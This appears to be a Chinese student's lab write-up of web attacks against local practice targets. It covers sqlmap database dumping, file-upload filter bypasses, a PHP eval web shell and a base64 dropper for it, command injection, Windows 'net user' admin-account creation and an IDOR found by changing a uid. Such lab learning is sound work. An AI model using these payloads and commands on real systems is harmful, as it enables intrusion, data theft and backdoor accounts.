![5c87de6ff6ff9139611cbefdd3ce92b9.png](https://i-blog.csdnimg.cn/blog_migrate/91780f7c7604c30f2ec8026cc905a299.jpeg)
一、SQL注入介绍与初步学习
利用提供的学习资料,在本地环境搭建sqlmap
emmm由于kali自带sqlmap,所以不用搭建了
二、SQL注入的利用与防御
自己搭建靶场或者利用Pockr的靶场分别进行手动和SQLMap的注入尝试
首先,在dvwa中进行手动注入
通过输入1 和 1‘ 可以看出这里是存在注入的
![26e0c40e83a43c8c59ff61d08041068a.png](https://i-blog.csdnimg.cn/blog_migrate/9da70652b7e986d0a9dd7628d10d0a9d.jpeg)
![31dd9b36d0f56b88fbf05db2d78f1cd5.png](https://i-blog.csdnimg.cn/blog_migrate/5bc5f2283720abfc105f2833a2f2332a.jpeg)
因此,通过输入' union select 1,database()#,让id闭合以及合并select语句,可以得到数据库名
![23131770f01d5913f6ae706d246a15b2.png](https://i-blog.csdnimg.cn/blog_migrate/a1a32470346911c3c45044d33c0a8ff4.jpeg)
sqlmap注入
尝试用sqlmap盲注。。
首先尝试的是dvwa的sql的get请求(全部使用默认值)
sqlmap -u 'http://192.168.254.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit'
结果返回了要回到登录页面,问我是否继续???我就奇怪了,为神马会返回呢???
然后我不鸟它直接用默认值
![35c50c564b595ddaa67d1ac8ae46496a.png](https://i-blog.csdnimg.cn/blog_migrate/db7debd427dbe971ac4a8400a0e37d37.jpeg)
结果就是页面没漏洞。。。。然后我问了下度娘,原来它是要验证cookie值,这个就简单啦,抓一下就好了
![28eef310c9a095336bb3d90854d00a35.png](https://i-blog.csdnimg.cn/blog_migrate/e31907d2c02cc8cc165ad80683035ff3.jpeg)
然后按照度娘说的格式加上去
sqlmap -u 'http://192.168.254.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit' --cookie="security=low; PHPSESSID=8n2qdg7o0pb76nla7clsg6inu2"
![30a10fb77460436b8aa096ec4417ab81.png](https://i-blog.csdnimg.cn/blog_migrate/b6feac123a2e520c5181ff7a1f8c42c3.png)
一路默认值后可以看到目前扫描出了三个漏洞
一个是id存在注入点,错误类型为布尔型。。第二个是错误型,把mysql的大版本号爆出来了。。第三个是时间型,同样把mysql的版本号爆出来了
![66afc5d700fa3171ec4ab67793bead16.png](https://i-blog.csdnimg.cn/blog_migrate/51e6d403bf0e99fee96ec4037d92298f.jpeg)
过了几秒后问我是否测试其他,默认值N后,显示了总结出来的漏洞,也就是上面说的那三个,而且还提供了payload测试
![961225928cd82e6f92451ff20d2087f1.png](https://i-blog.csdnimg.cn/blog_migrate/dbe01361a6747414595a1854130f0964.jpeg)
测试一下第二个是啥
![6b70ee88eac2eddd27d8a1928dc38113.png](https://i-blog.csdnimg.cn/blog_migrate/cfd93b75b44caedcec4e38695e3bb939.jpeg)
我也不知道是什么,大致翻译就是密钥是这个东西把。。测试下第三个把,这个意思就是延迟5秒
![fe381115d1389c4f70a64b2965e2fa98.png](https://i-blog.csdnimg.cn/blog_migrate/350c09d435712bc7c1d961684d963db3.jpeg)
这些没啥意思,试试最基础的把数据库爆出来
![bdf93ef56e62baeb3f0102fea063846a.png](https://i-blog.csdnimg.cn/blog_migrate/969fbb0e626aadb510299790ef16efe1.png)
很快就有了结果。。把我之前部署过的靶场的数据库都爆出来了
![abf53a3e8ff93abe04c98170651c4485.png](https://i-blog.csdnimg.cn/blog_migrate/1067712f479493c399e6c00057a007ae.jpeg)
然后试试爆表???
![bdfcb823984881008234c9464077aabe.png](https://i-blog.csdnimg.cn/blog_migrate/b7319addcae90cc6167f3698abd2de93.png)
![74d97dac592dbbfa5fa5bc8662c66c99.png](https://i-blog.csdnimg.cn/blog_migrate/f351514b9c7cc54e36e013c73b0f4905.jpeg)
同样也是非常快。。而且突然发现可以把php版本和apache版本也爆出来
当然,既然要黑别人,最重要的脱裤肯定少不了。。呸。是脱库。。辣鸡输入法
sqlmap -u 'http://192.168.254.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit' --cookie="security=low; PHPSESSID=8n2qdg7o0pb76nla7clsg6inu2" -D wordpress -T wp_users --dump
结果。。
![6c01d2e29884a64a2f8efa3d9d3bd1fe.png](https://i-blog.csdnimg.cn/blog_migrate/425724cf81d9022be012fdb94b1da23f.jpeg)
同时还帮我计算密码的hash值。。不过由于电脑太烂,不是一般的慢。。(听过macbook有buff加成)
![23a13d954de6537888b5d692623eaf4f.png](https://i-blog.csdnimg.cn/blog_migrate/27a15bdc87243a9f4faad3b821f0910d.png)
最后得出脱库的所有信息。。当然密码算不出来了。。
![32f69f550c40b8081d267d1ad2a1c7d2.png](https://i-blog.csdnimg.cn/blog_migrate/0bf6f362f6cb32cddede6e100f646f69.png)
至于post类型由于靶场没有相应的功能,所有先不弄
上传
利用dvwa中的文件上传模块进行任意文件上传和提权等操作!
首先上传一张照片,可以发现是上传成功的
![8af5d6a4ad81965235bbb1e804b22098.png](https://i-blog.csdnimg.cn/blog_migrate/1f7c0bcf83e7b957e19da593a358c9f5.jpeg)
下面试试上传shell的php脚本,也是可以正常上传,说明Low模式下是没有任何过滤拦截的
![10895c3d68ebe9251408ca3b9e5233e2.png](https://i-blog.csdnimg.cn/blog_migrate/ecc10fa74674592f411d31e2eec7f810.jpeg)
下面试试medium模式
通过上传shell.php文件可以看到,网站拦截了非png和jpeg等图片格式的文件
![169194b77a19fa64bd2b8bba68eb05f7.png](https://i-blog.csdnimg.cn/blog_migrate/2f55375fe35fd4e5211214c02b6d3c30.jpeg)
下面通过抓包可以发现,上传图片的时候Content-Type为image/png,告诉客户端实际返回的内容为图片格式
![e550c2c6ca06b4fa4a4f08ed576b8cc9.png](https://i-blog.csdnimg.cn/blog_migrate/00ee126e7ab708673a8affcc5f711c70.jpeg)
而如果上传php格式文件,Content-Type为application/octet-stream,不是图片格式,所以网页拦截下来
![712a9f4bc86d6e3f86104e35a5200c4e.png](https://i-blog.csdnimg.cn/blog_migrate/6ad3a835447b2d0351135bd3c8d6c87e.jpeg)
所以可以通过抓包,把Content-Type改为image/png
![1c59aa2713a619f8e1b0c65930b749af.png](https://i-blog.csdnimg.cn/blog_migrate/72511d6dc329c4b7c344c2599ebd04cb.jpeg)
上传成功
![196ae2a4296214d64e6249d6456d189c.png](https://i-blog.csdnimg.cn/blog_migrate/a9cf9a9500832d07765fe65f0d34a15b.jpeg)
![d6f3d8f6e3091a0226cd7bf264a87c51.png](https://i-blog.csdnimg.cn/blog_migrate/00670f71c174ac897f96b4734af676c3.jpeg)
然后通过网页显示的上传地址,连接上网站主机
一句话木马:<?php @eval($_POST['pass']);?>
![9c7ddb3973081ea6ba0892bc8af90aa1.png](https://i-blog.csdnimg.cn/blog_migrate/d6bdddd4e0bd1e5f1aed51533fb25559.jpeg)
![a1aa9f7843e3ff497330283148712055.png](https://i-blog.csdnimg.cn/blog_migrate/45809484b61a1261506c821140cddccf.jpeg)
然后创建一个账户,并且提权(Emmmmm由于linux提权过于困难,改用win环境。。。)
命令:net user 用户名 密码 /add(创建用户)
net localgroup administrators 用户名 /add(将用户添加到administrators组)
然后可以看到我们的用户成功添加到administrators组
![8663505c6fa9c1886009663211038dee.png](https://i-blog.csdnimg.cn/blog_migrate/7ec4f5450cb94253e575ebeada88ee27.jpeg)
四、其他文件上传漏洞类型
文件内容绕过
通过cmd的copy aaa.jpg+shell.php bbb.jpg命令,把一张正常的图片与shell文件结合,得到bbb.jpg
![c4d5ec86190bfc0507845818fd7e89a5.png](https://i-blog.csdnimg.cn/blog_migrate/4e5417b2b0be8141bf369f2c045b1aff.jpeg)
然后上传,由于jpg格式并不能作为脚本运行一句话木马,因此上传的时候需要抓包,把jpg改为php
![46b1eadd0da31c54ee2334b099c0f331.png](https://i-blog.csdnimg.cn/blog_migrate/0a6db170808664f5ac2dfa76d18f90c7.jpeg)
上传成功,并且成功shell
五、命令、代码执行
test1:在电脑上搭建phpstudy环境,将我们提供的源代码直接放在文件夹下。对我们本节课演示的两个漏洞进行练习。
test2:完整的练习从执行到提权的过程!
源代码下载地址:
链接:https://pan.baidu.com/s/1wkt3e87j_Eq8HZwBuvE1Xw 密码:xiit
首先是练习命令执行漏洞
输入:127.0.0.1&chcp 后可以看到,成功返回了ping值以及cmd的返回编码,证明了这个php页面存在命令执行漏洞。
![54dfaab08d5db470e3b9a88f84dac928.png](https://i-blog.csdnimg.cn/blog_migrate/ccd2e7083b0fc361d2072f8636800057.jpeg)
进行创建用户和提权
![89dd2cb0f0c955c5897f7959e29c2f75.png](https://i-blog.csdnimg.cn/blog_migrate/31ebbd31cac6ba72e95a9427690827d1.jpeg)
代码执行漏洞
首先打开靶场。。结果emmmmmm出错
![9160e17c89f5857532a7af2bcb3ef055.png](https://i-blog.csdnimg.cn/blog_migrate/90dbd6469e63de0d8240739f9cc0dcab.jpeg)
然后仔细看了下。。打开错靶场了。。重新打开正确的靶场发现。。怎么还是错误!!!
![ebb203845a8769ec6d610f076797b9b4.png](https://i-blog.csdnimg.cn/blog_migrate/91b832680c0e66445070e60ec8e5eecb.jpeg)
然后百度了下这个php源码发现,原来要在后面提交一个参数给cmd。。然后打开大佬说的phpinfo,发现是可以成功执行的,那么就可以开始提权了
![73b58ae454fbe8619f6b19c9b7994aa3.png](https://i-blog.csdnimg.cn/blog_migrate/bf4b1b87a49f8a277a2c548910e9abec.jpeg)
由于网站通常都会过滤掉以utf-8格式提交的内容,因此通过百度把一句话木马用base64加密file_put_contents('key.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pOz8+'));
这个代码的意思是创建一个名为key的php文件,里面的内容为base64解密后面的字符串
提交后可以发现,这个php页面的当前目录下多了一个key的php文件(不知道为什么百度上的base64加密有很多种算法,导致解密乱码,最后用https://www.sojson.com/base64.html 这个才成功,但是解密后不知道为什么会漏了个>)
![462b9a8ed5b3d61fbf0d9a4a5e99c891.png](https://i-blog.csdnimg.cn/blog_migrate/c21038d03b89da53acfc29a6818efd60.jpeg)
然后就可以通过蚁剑连接上来
![cc7a543bc5e0a4b7057dfab0ff66cdea.png](https://i-blog.csdnimg.cn/blog_migrate/a46d0df01d36e62378661e777682f378.jpeg)
创建账户、提权
![bf35d73373cafdd98f3c3df19c532c33.png](https://i-blog.csdnimg.cn/blog_migrate/92cdf4cc65c59eda46c7e21322447a2e.jpeg)
![28539768a310c2cff1a73364b207d07c.png](https://i-blog.csdnimg.cn/blog_migrate/321203bba4f57d7cca12a5b2f62a186f.jpeg)
ps:在win server 08 搭建这个源码的时候遇到了一个问题,就是返回的结果是乱码的,而在kali搭建却正常,弄了很久都不知道什么回事,于是就把这个作业放下了(那段时间比较忙,比赛、实训和期末考试),到了暑假玩疯了几天,有一天洗澡的时候突然想到是不是cmd的问题(果然洗手间是最好的灵感地),于是百度了一下,终于弄好了。
方法:新建一个xxx.reg脚本把cmd的输出编码值改成utf-8
脚本:Windows Registry Editor Version 5.00
[HKEY_CURRENT_USERConsole%SystemRoot%_system32_cmd.exe]
"CodePage"=dword:0000fde9
"FontFamily"=dword:00000036
"FontWeight"=dword:00000190
"FaceName"="Consolas"
"ScreenBufferSize"=dword:232900d2
"WindowSize"=dword:002b00d2
六、逻辑漏洞
请下载源码进行搭建,找到里面的一个越权查看用户信息的漏洞(如能找到其他漏洞也可视为完成作业)
搭建环境:phpstudy+源码
源码链接:链接:https://pan.baidu.com/s/1AG78I7UM_64ZS9lfzQX3_Q 密码:w99s
搭建后以管理员账户打开,然后进入个人信息页面,然后可以注意到这里很可能存在一个越权的漏洞
![9ab3b02407ce1b5c129b861c7f76d2c2.png](https://i-blog.csdnimg.cn/blog_migrate/6205d84fa454fc09808b6ff2c2d476b2.png)
然后尝试修改了uid
![c25d5ca70282b7ffa7b8afad8f58414a.png](https://i-blog.csdnimg.cn/blog_migrate/ba112cd47d6c7ded6b93578ac4da233e.png)
然后可以发现这个用户不存在
![b452c9ba57c00396785248c0ade2dbe3.png](https://i-blog.csdnimg.cn/blog_migrate/b32560e20ad8776b58d40cc66984c674.jpeg)
但是这也证明了可以越权去查看其他用户的信息,当然,这也有可能是因为管理员拥有查看权限的原因,于是我又另外注册了一个普通会员,尝试用普通会员查看管理员的信息,登陆后通过对比,很明显发现uid的规则是按注册的先后顺序的
![91e38a23a637ad6889e25340bcb5e79e.png](https://i-blog.csdnimg.cn/blog_migrate/6d09e1c6b19a4ad64b4a0ac5f3c95c80.jpeg)
于是尝试修改uid为1,看看是不是可以查看管理员的账户
![958c5c85942ad98343ca55f408d72ed9.png](https://i-blog.csdnimg.cn/blog_migrate/1e9b2beed5e5c50e0c4d48ced3cca1a6.png)
结果可以发现成功进到管理员的个人信息页面
![d3b0cad7f346f248238e0729bdb67614.png](https://i-blog.csdnimg.cn/blog_migrate/a4240682098b445f7304a890eced53e9.jpeg)